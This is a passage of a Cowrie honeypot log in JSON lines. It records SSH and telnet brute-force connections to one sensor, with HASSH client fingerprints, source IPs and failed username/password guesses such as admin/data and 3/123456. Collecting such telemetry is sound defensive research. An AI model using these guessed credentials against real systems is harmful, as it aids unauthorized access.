{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:59.524979Z","src_ip":"159.203.92.129","session":"2feb1ea8f10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"333","password":"333","message":"login attempt [333/333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:53:59.534747Z","src_ip":"159.203.92.129","session":"2feb1ea8f10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:00.541943Z","src_ip":"159.203.92.129","session":"2feb1ea8f10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00799489021301,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:39.292078Z","src_ip":"67.128.120.127","session":"14953c3ed702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":41380,"dst_ip":"159.203.135.109","dst_port":23,"session":"af2a04cc5302","protocol":"telnet","message":"New connection: 67.128.120.127:41380 (159.203.135.109:23) [session: af2a04cc5302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:39.511446Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54442,"dst_ip":"159.203.135.109","dst_port":22,"session":"32057a624cc8","protocol":"ssh","message":"New connection: 159.203.92.129:54442 (159.203.135.109:22) [session: 32057a624cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:42.743852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:42.748467Z","src_ip":"159.203.92.129","session":"32057a624cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:42.752902Z","src_ip":"159.203.92.129","session":"32057a624cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"333","password":"333123","message":"login attempt [333/333123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:42.764286Z","src_ip":"159.203.92.129","session":"32057a624cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:54:43.770457Z","src_ip":"159.203.92.129","session":"32057a624cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39480,"dst_ip":"159.203.135.109","dst_port":22,"session":"86d34749db74","protocol":"ssh","message":"New connection: 80.94.92.186:39480 (159.203.135.109:22) [session: 86d34749db74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:12.034128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:12.306534Z","src_ip":"80.94.92.186","session":"86d34749db74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:12.310585Z","src_ip":"80.94.92.186","session":"86d34749db74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:13.728231Z","src_ip":"80.94.92.186","session":"86d34749db74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:15.380604Z","src_ip":"80.94.92.186","session":"86d34749db74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38856,"dst_ip":"159.203.135.109","dst_port":22,"session":"159b7f02d00a","protocol":"ssh","message":"New connection: 159.203.92.129:38856 (159.203.135.109:22) [session: 159b7f02d00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:26.062562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:26.067447Z","src_ip":"159.203.92.129","session":"159b7f02d00a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:26.072433Z","src_ip":"159.203.92.129","session":"159b7f02d00a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"3","password":"123","message":"login attempt [3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:26.086482Z","src_ip":"159.203.92.129","session":"159b7f02d00a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:27.094433Z","src_ip":"159.203.92.129","session":"159b7f02d00a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34210,"dst_ip":"159.203.135.109","dst_port":22,"session":"c230e41b8690","protocol":"ssh","message":"New connection: 37.143.61.84:34210 (159.203.135.109:22) [session: c230e41b8690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:35.983646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:35.989090Z","src_ip":"37.143.61.84","session":"c230e41b8690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:37.184120Z","src_ip":"37.143.61.84","session":"c230e41b8690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"data","message":"login attempt [admin/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:39.489836Z","src_ip":"37.143.61.84","session":"c230e41b8690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:55:41.384195Z","src_ip":"37.143.61.84","session":"c230e41b8690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52710,"dst_ip":"159.203.135.109","dst_port":22,"session":"95426c3b2ea7","protocol":"ssh","message":"New connection: 159.203.92.129:52710 (159.203.135.109:22) [session: 95426c3b2ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:09.950430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:09.955178Z","src_ip":"159.203.92.129","session":"95426c3b2ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:09.959903Z","src_ip":"159.203.92.129","session":"95426c3b2ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"3","password":"123456","message":"login attempt [3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:09.971628Z","src_ip":"159.203.92.129","session":"95426c3b2ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:10.978394Z","src_ip":"159.203.92.129","session":"95426c3b2ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01702427864075,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:39.528384Z","src_ip":"67.128.120.127","session":"af2a04cc5302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50676,"dst_ip":"159.203.135.109","dst_port":22,"session":"405d76fe7180","protocol":"ssh","message":"New connection: 159.203.92.129:50676 (159.203.135.109:22) [session: 405d76fe7180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:53.671863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:53.675883Z","src_ip":"159.203.92.129","session":"405d76fe7180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:53.679936Z","src_ip":"159.203.92.129","session":"405d76fe7180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"3","password":"3","message":"login attempt [3/3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:53.692004Z","src_ip":"159.203.92.129","session":"405d76fe7180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:56:54.698536Z","src_ip":"159.203.92.129","session":"405d76fe7180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45074,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8a556087263","protocol":"ssh","message":"New connection: 159.203.92.129:45074 (159.203.135.109:22) [session: c8a556087263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:34.962636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:57:34.975296Z","src_ip":"159.203.92.129","session":"c8a556087263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-